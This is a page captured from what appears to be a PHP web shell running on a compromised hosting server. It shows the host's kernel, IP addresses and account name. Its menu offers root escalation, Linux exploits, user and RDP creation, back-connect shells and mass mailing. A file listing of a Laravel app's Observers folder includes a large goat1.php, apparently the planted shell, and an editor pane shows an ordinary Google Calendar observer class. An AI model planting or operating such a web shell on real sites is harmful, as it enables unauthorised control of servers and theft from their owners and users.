Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
Observers /
[ HOME SHELL ]
Name
Size
Permission
Action
AcceptEstimateObserver.php
223
B
-rw-r--r--
AppreciationObserver.php
884
B
-rw-r--r--
AttendanceObserver.php
13.04
KB
-rw-r--r--
AttendanceRegularisationObserv...
387
B
-rw-r--r--
AttendanceSettingObserver.php
256
B
-rw-r--r--
AwardObserver.php
682
B
-rw-r--r--
BankAccountObserver.php
2.51
KB
-rw-r--r--
BankTransactionObserver.php
1.18
KB
-rw-r--r--
ClientCategoryObserver.php
247
B
-rw-r--r--
ClientContactObserver.php
464
B
-rw-r--r--
ClientDetailsObserver.php
1.14
KB
-rw-r--r--
ClientDocumentObserver.php
550
B
-rw-r--r--
ClientNoteObserver.php
530
B
-rw-r--r--
ClientSubCategoryObserver.php
256
B
-rw-r--r--
ClientUserNotesObserver.php
248
B
-rw-r--r--
CompanyAddressObserver.php
571
B
-rw-r--r--
CompanyObserver.php
29.58
KB
-rw-r--r--
ContractDiscussionObserver.php
499
B
-rw-r--r--
ContractFileObserver.php
423
B
-rw-r--r--
ContractObserver.php
6.73
KB
-rw-r--r--
ContractRenewObserver.php
572
B
-rw-r--r--
ContractSignObserver.php
241
B
-rw-r--r--
ContractTemplateObserver.php
446
B
-rw-r--r--
ContractTypeObserver.php
241
B
-rw-r--r--
CreditNoteObserver.php
4
KB
-rw-r--r--
CurrencyFormatSettingObserver....
268
B
-rw-r--r--
CurrencyObserver.php
229
B
-rw-r--r--
CustomFieldGroupObserver.php
253
B
-rw-r--r--
CustomFieldsObserver.php
3.34
KB
-rw-r--r--
CustomLinkSettingObserver.php
256
B
-rw-r--r--
DashboardWidgetObserver.php
250
B
-rw-r--r--
DealNoteObserver.php
1.01
KB
-rw-r--r--
DealObserver.php
7.28
KB
-rw-r--r--
DesignationObserver.php
1.59
KB
-rw-r--r--
DiscussionCategoryObserver.php
259
B
-rw-r--r--
DiscussionFileObserver.php
247
B
-rw-r--r--
DiscussionObserver.php
1.98
KB
-rw-r--r--
DiscussionReplyObserver.php
2.12
KB
-rw-r--r--
EmailNotificationSettingObserv...
277
B
-rw-r--r--
EmergencyContactObserver.php
580
B
-rw-r--r--
EmployeeDetailsObserver.php
1.33
KB
-rw-r--r--
EmployeeDocsObserver.php
511
B
-rw-r--r--
EmployeeShiftChangeObserver.ph...
1.07
KB
-rw-r--r--
EmployeeShiftObserver.php
1.33
KB
-rw-r--r--
EmployeeShiftScheduleObserver....
3.62
KB
-rw-r--r--
EmployeeSkillObserver.php
240
B
-rw-r--r--
EmployeeTeamObserver.php
237
B
-rw-r--r--
EstimateObserver.php
8.97
KB
-rw-r--r--
EstimateRequestObserver.php
1.46
KB
-rw-r--r--
EstimateTemplateObserver.php
9.51
KB
-rw-r--r--
EventAttendeeObserver.php
240
B
-rw-r--r--
EventObserver.php
6.09
KB
-rw-r--r--
ExpenseObserver.php
12
KB
-rw-r--r--
ExpenseRecurringObserver.php
3.15
KB
-rw-r--r--
ExpensesCategoryObserver.php
249
B
-rw-r--r--
ExpensesCategoryRoleObserver.p...
261
B
-rw-r--r--
FileStorageObserver.php
238
B
-rw-r--r--
FileUploadObserver.php
622
B
-rw-r--r--
GdprSettingObserver.php
183
B
-rw-r--r--
GlobalSettingObserver.php
486
B
-rw-r--r--
GoogleCalendarModuleObserver.p...
261
B
-rw-r--r--
HolidayObserver.php
2.42
KB
-rw-r--r--
InvoiceFileObserver.php
1
KB
-rw-r--r--
InvoiceObserver.php
24.17
KB
-rw-r--r--
InvoiceRecurringObserver.php
4.81
KB
-rw-r--r--
InvoiceSettingObserver.php
791
B
-rw-r--r--
IssueObserver.php
614
B
-rw-r--r--
KnowledgeBaseCategoriesObserve...
266
B
-rw-r--r--
KnowledgeBaseObserver.php
240
B
-rw-r--r--
LanguageSettingObserver.php
712
B
-rw-r--r--
LeadAgentObserver.php
516
B
-rw-r--r--
LeadCategoryObserver.php
543
B
-rw-r--r--
LeadCustomFormObserver.php
513
B
-rw-r--r--
LeadFileObserver.php
1.01
KB
-rw-r--r--
LeadFollowUpObserver.php
6.84
KB
-rw-r--r--
LeadNoteObserver.php
557
B
-rw-r--r--
LeadObserver.php
1.95
KB
-rw-r--r--
LeadPipelineObserver.php
1.28
KB
-rw-r--r--
LeadSourceObserver.php
525
B
-rw-r--r--
LeadStageObserver.php
1.01
KB
-rw-r--r--
LeadStatusObserver.php
1017
B
-rw-r--r--
LeaveFileObserver.php
906
B
-rw-r--r--
LeaveObserver.php
11.27
KB
-rw-r--r--
LeaveSettingObserver.php
241
B
-rw-r--r--
LeaveTypeObserver.php
2.47
KB
-rw-r--r--
LogTimeForObserver.php
245
B
-rw-r--r--
MessageSettingObserver.php
247
B
-rw-r--r--
ModuleSettingObserver.php
458
B
-rw-r--r--
NewChatObserver.php
1.52
KB
-rw-r--r--
NoticeFileObserver.php
750
B
-rw-r--r--
NoticeObserver.php
2.42
KB
-rw-r--r--
NoticeViewObserver.php
245
B
-rw-r--r--
OfflinePaymentMethodObserver.p...
279
B
-rw-r--r--
OrderObserver.php
5.69
KB
-rw-r--r--
PaymentGatewayCredentialsObser...
294
B
-rw-r--r--
PaymentObserver.php
14.47
KB
-rw-r--r--
PermissionRoleObserver.php
67
B
-rw-r--r--
PinnedObserver.php
514
B
-rw-r--r--
ProductCategoryObserver.php
270
B
-rw-r--r--
ProductFileObserver.php
1.05
KB
-rw-r--r--
ProductObserver.php
1.43
KB
-rw-r--r--
ProductSubCategoryObserver.php
285
B
-rw-r--r--
ProjectCategoryObserver.php
567
B
-rw-r--r--
ProjectMemberObserver.php
1.82
KB
-rw-r--r--
ProjectMilestoneObserver.php
699
B
-rw-r--r--
ProjectNoteObserver.php
3.75
KB
-rw-r--r--
ProjectObserver.php
7.28
KB
-rw-r--r--
ProjectRatingObserver.php
713
B
-rw-r--r--
ProjectSettingObserver.php
265
B
-rw-r--r--
ProjectStatusSettingObserver.p...
295
B
-rw-r--r--
ProjectTemplateMilestoneObserv...
731
B
-rw-r--r--
ProjectTemplateObserver.php
270
B
-rw-r--r--
ProjectTimelogBreakObserver.ph...
626
B
-rw-r--r--
ProjectTimelogObserver.php
3.53
KB
-rw-r--r--
PromotionObserver.php
2.08
KB
-rw-r--r--
ProposalObserver.php
12.3
KB
-rw-r--r--
ProposalTemplateObserver.php
8.72
KB
-rw-r--r--
RemovalRequestLeadObserver.php
982
B
-rw-r--r--
RemovalRequestObserver.php
1019
B
-rw-r--r--
RoleObserver.php
213
B
-rw-r--r--
SkillObserver.php
220
B
-rw-r--r--
StickyNoteObserver.php
235
B
-rw-r--r--
SubTaskObserver.php
1.17
KB
-rw-r--r--
TaskBoardColumnObserver.php
694
B
-rw-r--r--
TaskCategoryObserver.php
555
B
-rw-r--r--
TaskCommentObserver.php
2.82
KB
-rw-r--r--
TaskFileObserver.php
727
B
-rw-r--r--
TaskLabelListObserver.php
2
KB
-rw-r--r--
TaskNoteObserver.php
3.19
KB
-rw-r--r--
TaskObserver.php
23.03
KB
-rw-r--r--
TaskSettingObserver.php
238
B
-rw-r--r--
TaskUserObserver.php
823
B
-rw-r--r--
TaxObserver.php
214
B
-rw-r--r--
TeamObserver.php
1.54
KB
-rw-r--r--
ThemeSettingObserver.php
241
B
-rw-r--r--
TicketAgentGroupsObserver.php
602
B
-rw-r--r--
TicketChannelObserver.php
244
B
-rw-r--r--
TicketCustomFormObserver.php
253
B
-rw-r--r--
TicketEmailSettingObserver.php
259
B
-rw-r--r--
TicketFileObserver.php
469
B
-rw-r--r--
TicketGroupObserver.php
238
B
-rw-r--r--
TicketObserver.php
7.16
KB
-rw-r--r--
TicketReplyObserver.php
5.34
KB
-rw-r--r--
TicketReplyTemplateObserver.ph...
262
B
-rw-r--r--
TicketTagListObserver.php
244
B
-rw-r--r--
TicketTagObserver.php
232
B
-rw-r--r--
TicketTypeObserver.php
235
B
-rw-r--r--
UnitTypeObserver.php
235
B
-rw-r--r--
UniversalSearchObserver.php
250
B
-rw-r--r--
UserActivityObserver.php
213
B
-rw-r--r--
UserInvitationObserver.php
504
B
-rw-r--r--
UserLeadboardSettingObserver.p...
265
B
-rw-r--r--
UserObserver.php
1.14
KB
-rw-r--r--
UserPermissionObserver.php
406
B
-rw-r--r--
UserTaskboardSettingObserver.p...
265
B
-rw-r--r--
UserchatFileObserver.php
213
B
-rw-r--r--
WeeklyTimeSheetObserver.php
270
B
-rw-r--r--
WeeklyTimesheetEntriesObserver...
303
B
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LeadFollowUpObserver.php
<?php namespace App\Observers; use App\Services\Google; use App\Models\LeadAgent; use App\Models\DealHistory; use App\Models\DealFollowUp; use App\Models\Notification; use App\Traits\DealHistoryTrait; use App\Models\GoogleCalendarModule; use Carbon\Carbon; use Google\Service\Exception; use Google_Service_Calendar_Event; use App\Traits\EmployeeActivityTrait; class LeadFollowUpObserver { use DealHistoryTrait; use EmployeeActivityTrait; public function saving(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding() && user()) { $leadFollowUp->last_updated_by = user()->id; } } public function creating(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding() && user()) { $leadFollowUp->added_by = user()->id; } } public function created(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding()) { if (user()) { self::createEmployeeActivity(user()->id, 'followUp-created', $leadFollowUp->deal_id, 'deal_followup'); } /* Add google calendar event */ if (!is_null($leadFollowUp->next_follow_up_date)) { $leadFollowUp->event_id = $this->googleCalendarEvent($leadFollowUp); self::createDealHistory($leadFollowUp->deal_id, 'followup-created', agentId: $leadFollowUp->agent_id); } } } public function updating(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding()) { /* Update google calendar event */ if (!is_null($leadFollowUp->next_follow_up_date)) { $leadFollowUp->event_id = $this->googleCalendarEvent($leadFollowUp); } } } public function updated(DealFollowUp $leadFollowUp) { if (!isRunningInConsoleOrSeeding() && user()) { self::createEmployeeActivity(user()->id, 'followUp-updated', $leadFollowUp->id, 'deal_followup'); } } public function deleting(DealFollowUp $leadFollowUp) { /* Start of deleting event from google calendar */ $deletedHistory = new DealHistory(); $deletedHistory->deal_id = $leadFollowUp->deal_id; $deletedHistory->event_type = 'followup-deleted'; $deletedHistory->created_by = user()->id; $deletedHistory->save(); $google = new Google(); $googleAccount = company(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token) { $google->connectUsing($googleAccount->token); try { if ($leadFollowUp->event_id) { $google->service('Calendar')->events->delete('primary', $leadFollowUp->event_id); } } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } $notificationModel = ['App\Notifications\AutoFollowUpReminder']; Notification::whereIn('type', $notificationModel) ->whereNull('read_at') ->where(function ($q) use ($leadFollowUp) { $q->where('data', 'like', '{"follow_up_id":' . $leadFollowUp->id . ',%'); })->delete(); /* End of deleting event from google calendar */ } protected function googleCalendarEvent($event) { $googleAccount = company(); $module = GoogleCalendarModule::first(); if (company()->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->lead_status == 1) { $google = new Google(); $attendiesData = []; $attendee = $event->lead?->leadAgent; if ($attendee) { if (!is_null($attendee->user)) { $attendiesData[] = ['email' => $attendee->user->email]; } } if ($event->next_follow_up_date) { $dateTime = Carbon::parse($event->next_follow_up_date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new Google_Service_Calendar_Event(array( 'summary' => __('app.lead') . ' ' . __('app.followUp') . ': ' . $event->remark, 'location' => '', 'description' => $event->remark, 'colorId' => 5, 'start' => array( 'dateTime' => $dateTime, 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $dateTime, 'timeZone' => $googleAccount->timezone, ), 'attendees' => $attendiesData, 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } public function deleted(DealFollowUp $leadFollowUp) { if (user()) { self::createDealHistory($leadFollowUp->deal_id, 'followup-deleted'); self::createEmployeeActivity(user()->id, 'followUp-deleted'); } } }
Close